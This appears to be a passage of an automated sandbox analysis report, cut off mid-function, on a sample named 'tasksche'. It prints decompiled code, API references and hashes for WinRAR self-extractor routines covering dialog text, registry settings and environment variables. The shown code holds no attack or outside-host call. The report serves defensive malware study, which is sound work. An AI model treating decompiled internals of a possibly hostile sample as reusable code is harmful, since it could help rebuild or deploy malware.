API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(0040639B,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(0040639B,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(0040639B,000000C2,00000000,0042A810), ref: 0040D3A3

Part of subcall function 0041918B: DestroyWindow.USER32(?,76D7BB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched32.dll, xrefs: 0041A076
riched20.dll, xrefs: 0041A07D

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x43
					if(_t27 != 0) {
						E0040DA4F( &_v4108, "C:\Windows");
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
							_t20 = RegCloseKey(_v8); // executed
							return _t20;
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Windows), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Strings

C:\Windows, xrefs: 0040DAA4, 0040DAAE
Software\WinRAR SFX, xrefs: 0040DACF

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Windows$Software\WinRAR SFX
API String ID: 3170333323-1036045337
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						FindCloseChangeNotification( *_t19); // executed
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				FindCloseChangeNotification( *(_t21 + 0x198)); // executed
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_v8 = 0x1000;
						if(RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8) == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(L"sfxpar", _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxpar, xrefs: 0040D63E
sfxcmd, xrefs: 0040D60B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				void* _t45;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
